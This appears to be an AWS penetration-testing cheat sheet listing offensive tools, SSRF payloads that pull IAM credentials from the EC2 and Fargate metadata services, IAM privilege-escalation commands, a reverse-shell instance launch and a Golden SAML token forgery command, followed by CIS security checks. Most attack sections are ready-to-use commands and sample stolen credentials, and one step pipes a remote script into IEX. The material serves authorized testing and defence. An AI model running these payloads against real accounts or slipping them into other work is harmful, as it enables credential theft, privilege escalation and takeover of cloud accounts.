19 KiB
AWS
Summary
- Training
- Tools
- AWS - Metadata SSRF
- AWS - Shadow Admin
- AWS - Golden SAML Attack
- Security checks
- References
Training
- Damn Vulnerable Cloud Application - https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6
- SadCloud - https://github.com/nccgroup/sadcloud
- Flaws - http://flaws.cloud
Tools
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SkyArk - Discover the most privileged users in the scanned AWS environment - including the AWS Shadow Admins.
Require:- Read-Only permissions over IAM service
$ git clone https://github.com/cyberark/SkyArk $ powershell -ExecutionPolicy Bypass -NoProfile PS C> Import-Module .\SkyArk.ps1 -force PS C> Start-AWStealth or in the Cloud Console PS C> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cyberark/SkyArk/master/AWStealth/AWStealth.ps1') PS C> Scan-AWShadowAdmins
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Pacu - Pacu allows penetration testers to exploit configuration flaws within an AWS environment using an extensible collection of modules with a diverse feature-set.
Require:- AWS Keys
$ git clone https://github.com/RhinoSecurityLabs/pacu $ bash install.sh $ python3 pacu.py set_keys/swap_keys ls run <module_name> [--keyword-arguments] run <module_name> --regions eu-west-1,us-west-1 # https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details
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Prowler : AWS Security Best Practices Assessment, Auditing, Hardening and Forensics Readiness Tool. It follows guidelines of the CIS Amazon Web Services Foundations Benchmark and DOZENS of additional checks including GDPR and HIPAA (+100).
Require:- arn:aws:iam::aws:policy/SecurityAudit
$ pip install awscli ansi2html detect-secrets $ git clone https://github.com/toniblyx/prowler $ sudo apt install jq $ ./prowler -E check42,check43 $ ./prowler -p custom-profile -r us-east-1 -c check11 $ ./prowler -A 123456789012 -R ProwlerRole # sts assume-role
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Principal Mapper : A tool for quickly evaluating IAM permissions in AWS
https://github.com/nccgroup/PMapper pip install principalmapper pmapper graph --create pmapper visualize --filetype png pmapper analysis --output-type text # Determine if PowerUser can escalate privileges pmapper query "preset privesc user/PowerUser" pmapper argquery --principal user/PowerUser --preset privesc # Find all principals that can escalate privileges pmapper query "preset privesc *" pmapper argquery --principal '*' --preset privesc # Find all principals that PowerUser can access pmapper query "preset connected user/PowerUser *" pmapper argquery --principal user/PowerUser --resource '*' --preset connected # Find all principals that can access PowerUser pmapper query "preset connected * user/PowerUser" pmapper argquery --principal '*' --resource user/PowerUser --preset connected
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ScoutSuite : https://github.com/nccgroup/ScoutSuite/wiki
$ git clone https://github.com/nccgroup/ScoutSuite $ python scout.py PROVIDER --help # The --session-token is optional and only used for temporary credentials (i.e. role assumption). $ python scout.py aws --access-keys --access-key-id <AKIAIOSFODNN7EXAMPLE> --secret-access-key <wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY> --session-token <token> $ python scout.py azure --cli
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weirdAAL : AWS Attack Library https://github.com/carnal0wnage/weirdAAL/wiki
python3 weirdAAL.py -m ec2_describe_instances -t demo python3 weirdAAL.py -m lambda_get_account_settings -t demo python3 weirdAAL.py -m lambda_get_function -a 'MY_LAMBDA_FUNCTION','us-west-2' -t yolo
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cloudmapper : CloudMapper helps you analyze your Amazon Web Services (AWS) environments.
git clone https://github.com/duo-labs/cloudmapper.git # sudo yum install autoconf automake libtool python3-devel.x86_64 python3-tkinter python-pip jq awscli # You may additionally need "build-essential" sudo apt-get install autoconf automake libtool python3.7-dev python3-tk jq awscli pipenv install --skip-lock pipenv shell report: Generate HTML report. Includes summary of the accounts and audit findings. iam_report: Generate HTML report for the IAM information of an account. audit: Check for potential misconfigurations. collect: Collect metadata about an account. find_admins: Look at IAM policies to identify admin users and roles, or principals with specific privileges
AWS - Metadata SSRF
Method for Elastic Cloud Compute (EC2)
- Access the IAM : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/
ami-id ami-launch-index ami-manifest-path block-device-mapping/ events/ hostname iam/ identity-credentials/ instance-action instance-id
- Find the name of the role assigned to the instance : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/
- Extract the role's temporary keys : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/Awesome-WAF-Role/
{ "Code" : "Success", "LastUpdated" : "2019-07-31T23:08:10Z", "Type" : "AWS-HMAC", "AccessKeyId" : "ASIA54BL6PJR37YOEP67", "SecretAccessKey" : "OiAjgcjm1oi2xxxxxxxxOEXkhOMhCOtJMP2", "Token" : "AgoJb3JpZ2luX2VjEDU86Rcfd/34E4rtgk8iKuTqwrRfOppiMnv", "Expiration" : "2019-08-01T05:20:30Z" }
Method for Container Service (Fargate)
- Fetch the AWS_CONTAINER_CREDENTIALS_RELATIVE_URI variable from https://awesomeapp.com/download?file=/proc/self/environ
JAVA_ALPINE_VERSION=8.212.04-r0 HOSTNAME=bbb3c57a0ed3SHLVL=1PORT=8443HOME=/root AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/d22070e0-5f22-4987-ae90-1cd9bec3f447 AWS_EXECUTION_ENV=AWS_ECS_FARGATEMVN_VER=3.3.9JAVA_VERSION=8u212AWS_DEFAULT_REGION=us-west-2 ECS_CONTAINER_METADATA_URI=http://169.254.170.2/v3/cb4f6285-48f2-4a51-a787-67dbe61c13ffPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin:/usr/lib/mvn:/usr/lib/mvn/binLANG=C.UTF-8AWS_REGION=us-west-2Tag=48111bbJAVA_HOME=/usr/lib/jvm/java-1.8-openjdk/jreM2=/usr/lib/mvn/binPWD=/appM2_HOME=/usr/lib/mvnLD_LIBRARY_PATH=/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64/server:/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64:/usr/lib/jvm/java-1.8-openjd
- Use the credential URL to dump the AccessKey and SecretKey : https://awesomeapp.com/forward?target=http://169.254.170.2/v2/credentials/d22070e0-5f22-4987-ae90-1cd9bec3f447
{ "RoleArn": "arn:aws:iam::953574914659:role/awesome-waf-role", "AccessKeyId": "ASIA54BL6PJR2L75XHVS", "SecretAccessKey": "j72eTy+WHgIbO6zpe2DnfjEhbObuTBKcemfrIygt", "Token": "FQoGZXIvYXdzEMj//////////wEaDEQW+wwBtaoyqH5lNSLGBF3PnwnLYa3ggfKBtLMoWCEyYklw6YX85koqNwKMYrP6ymcjv4X2gF5enPi9/Dx6m/1TTFIwMzZ3tf4V3rWP3HDt1ea6oygzTrWLvfdp57sKj+2ccXI+WWPDZh3eJr4Wt4JkiiXrWANn7Bx3BUj9ZM11RXrKRCvhrxdrMLoewRkWmErNEOFgbaCaT8WeOkzqli4f+Q36ZerT2V+FJ4SWDX1CBsimnDAMAdTIRSLFxVBBwW8171OHiBOYAMK2np1xAW1d3UCcZcGKKZTjBee2zs5+Rf5Nfkoq+j7GQkmD2PwCeAf0RFETB5EVePNtlBWpzfOOVBtsTUTFewFfx5cyNsitD3C2N93WR59LX/rNxyncHGDUP/6UPlasOcfzAaG738OJQmWfQTR0qksHIc2qiPtkstnNndh76is+r+Jc4q3wOWu2U2UBi44Hj+OS2UTpMAwc/MshIiGsUOrBQdPqcLLdAxKpUNTdSQNLg5wv4f2OrOI8/sneV58yBRolBz8DZoH8wohtLXpueDt8jsVSVLznnMOOe/4ehHE2Nt+Fy+tjaY5FUi/Ijdd5IrIdIvWFHY1XcPopUFYrDqr0yuZvX1YddfIcfdbmxf274v69FuuywXTo7cXk1QTMYZWlD/dPI/k6KQeO446UrHT9BJxcJMpchAIVRpI7nVKkSDwku1joKUG7DOeycuAbhecVZG825TocL0ks2yXPnIdvckAaU9DZf+afIV3Nxv3TI4sSX1npBhb2f/8C31pv8VHyu2NiN5V6OOHzZijHsYXsBQ==", "Expiration": "2019-09-18T04:05:59Z" }
AWS - Shadow Admin
Admin equivalent permission
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AdministratorAccess
"Action": "*" "Resource": "*"
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ec2:AssociateIamInstanceProfile
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iam:CreateAccessKeyiam:CreateAccessKey : create a new access key to another IAM admin account
aws iam create-access-key –user-name target_user
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iam:CreateLoginProfile : add a new password-based login profile, set a new password for an entity and impersonate it
$ aws iam create-login-profile –user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' –no-password-reset-required
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iam:UpdateLoginProfile : reset other IAM users’ login passwords.
$ aws iam update-login-profile –user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' –no-password-reset-required
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iam:AttachUserPolicy, iam:AttachGroupPolicy or iam:AttachRolePolicy : attach existing admin policy to any other entity he currently possesses
$ aws iam attach-user-policy –user-name my_username –policy-arn arn:aws:iam::aws:policy/AdministratorAccess $ aws iam attach-user-policy –user-name my_username –policy-arn arn:aws:iam::aws:policy/AdministratorAccess $ aws iam attach-role-policy –role-name role_i_can_assume –policy-arn arn:aws:iam::aws:policy/AdministratorAccess
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iam:PutUserPolicy, iam:PutGroupPolicy or iam:PutRolePolicy : added inline policy will allow the attacker to grant additional privileges to previously compromised entities.
$ aws iam put-user-policy –user-name my_username –policy-name my_inline_policy –policy-document file://path/to/administrator/policy.json
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iam:CreatePolicy : add a stealthy admin policy
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iam:AddUserToGroup : add into the admin group of the organization.
$ aws iam add-user-to-group –group-name target_group –user-name my_username
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iam:UpdateAssumeRolePolicy + sts:AssumeRole : change the assuming permissions of a privileged role and then assume it with a non-privileged account.
$ aws iam update-assume-role-policy –role-name role_i_can_assume –policy-document file://path/to/assume/role/policy.json
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iam:CreatePolicyVersion & iam:SetDefaultPolicyVersion : change customer-managed policies and change a non-privileged entity to be a privileged one.
$ aws iam create-policy-version –policy-arn target_policy_arn –policy-document file://path/to/administrator/policy.json –set-as-default $ aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2
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lambda:UpdateFunctionCode : give an attacker access to the privileges associated with the Lambda service role that is attached to that function.
$ aws lambda update-function-code –function-name target_function –zip-file fileb://my/lambda/code/zipped.zip
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glue:UpdateDevEndpoint : give an attacker access to the privileges associated with the role attached to the specific Glue development endpoint.
$ aws glue –endpoint-name target_endpoint –public-key file://path/to/my/public/ssh/key.pub
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iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile : an attacker could create a new privileged instance profile and attach it to a compromised EC2 instance that he possesses.
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iam:PassRole + ec2:RunInstance : give an attacker access to the set of permissions that the instance profile/role has, which again could range from no privilege escalation to full administrator access of the AWS account.
# add ssh key $ aws ec2 run-instances –image-id ami-a4dc46db –instance-type t2.micro –iam-instance-profile Name=iam-full-access-ip –key-name my_ssh_key –security-group-ids sg-123456 # execute a reverse shell $ aws ec2 run-instances –image-id ami-a4dc46db –instance-type t2.micro –iam-instance-profile Name=iam-full-access-ip –user-data file://script/with/reverse/shell.sh
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iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction : give a user access to the privileges associated with any Lambda service role that exists in the account.
$ aws lambda create-function –function-name my_function –runtime python3.6 –role arn_of_lambda_role –handler lambda_function.lambda_handler –code file://my/python/code.py $ aws lambda invoke –function-name my_function output.txt
Example of code.py
import boto3 def lambda_handler(event, context): client = boto3.client('iam') response = client.attach_user_policy( UserName='my_username', PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess" ) return response
- iam:PassRole + glue:CreateDevEndpoint : access to the privileges associated with any Glue service role that exists in the account.
$ aws glue create-dev-endpoint –endpoint-name my_dev_endpoint –role-arn arn_of_glue_service_role –public-key file://path/to/my/public/ssh/key.pub
AWS - Golden SAML Attack
https://www.youtube.com/watch?v=5dj4vOqqGZw
https://www.cyberark.com/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-cloud-apps/
Using the extracted information, the tool will generate a forged SAML token as an arbitrary user that can then be used to authenticate to Office 365 without knowledge of that user’s password. This attack also bypasses any MFA requirements.
Requirement:
- Token-signing private key (export from personnal store using Mimikatz)
- IdP public certificate
- IdP name
- Role name (role to assume)
$ python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml
$ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
Security checks
https://github.com/DenizParlak/Zeus
- Identity and Access Management
- Avoid the use of the "root" account
- Ensure multi-factor authentication (MFA) is enabled for all IAM users that have a console password
- Ensure credentials unused for 90 days or greater are disabled
- Ensure access keys are rotated every 90 days or less
- Ensure IAM password policy requires at least one uppercase letter
- Ensure IAM password policy requires at least one lowercase letter
- Ensure IAM password policy requires at least one symbol
- Ensure IAM password policy requires at least one number
- Ensure IAM password policy requires minimum length of 14 or greater
- Ensure no root account access key exists
- Ensure MFA is enabled for the "root" account
- Ensure security questions are registered in the AWS account
- Ensure IAM policies are attached only to groups or role
- Enable detailed billing
- Maintain current contact details
- Ensure security contact information is registered
- Ensure IAM instance roles are used for AWS resource access from instances
- Logging
- Ensure CloudTrail is enabled in all regions
- Ensure CloudTrail log file validation is enabled
- Ensure the S3 bucket CloudTrail logs to is not publicly accessible
- Ensure CloudTrail trails are integrated with CloudWatch Logs
- Ensure AWS Config is enabled in all regions
- Ensure S3 bucket access logging is enabled on the CloudTrail S3 bucket
- Ensure CloudTrail logs are encrypted at rest using KMS CMKs
- Ensure rotation for customer created CMKs is enabled
- Networking
- Ensure no security groups allow ingress from 0.0.0.0/0 to port 22
- Ensure no security groups allow ingress from 0.0.0.0/0 to port 3389
- Ensure VPC flow logging is enabled in all VPC
- Ensure the default security group of every VPC restricts all traffic
- Monitoring
- Ensure a log metric filter and alarm exist for unauthorized API calls
- Ensure a log metric filter and alarm exist for Management Consolesign-in without MFA
- Ensure a log metric filter and alarm exist for usage of "root" account
- Ensure a log metric filter and alarm exist for IAM policy changes
- Ensure a log metric filter and alarm exist for CloudTrail configuration changes
- Ensure a log metric filter and alarm exist for AWS Management Console authentication failures
- Ensure a log metric filter and alarm exist for disabling or scheduled deletion of customer created CMKs
- Ensure a log metric filter and alarm exist for S3 bucket policy changes
- Ensure a log metric filter and alarm exist for AWS Config configuration changes
- Ensure a log metric filter and alarm exist for security group changes
- Ensure a log metric filter and alarm exist for changes to NetworkAccess Control Lists (NACL)
- Ensure a log metric filter and alarm exist for changes to network gateways
- Ensure a log metric filter and alarm exist for route table changes
- Ensure a log metric filter and alarm exist for VPC changes
References
- An introduction to penetration testing AWS - Graceful Security
- Cloud Shadow Admin Threat 10 Permissions Protect - CyberArk
- My arsenal of AWS Security tools - toniblyx
- AWS Privilege Escalation method mitigation - RhinoSecurityLabs
- AWS CLI Cheatsheet - apolloclark
- Pacu Open source AWS Exploitation framework - RhinoSecurityLabs
- PACU Spencer Gietzen - 30 juil. 2018
- Cloud security instance metadata - PumaScan
- Privilege escalation in the Cloud: From SSRF to Global Account Administrator - Maxime Leblanc - Sep 1, 2018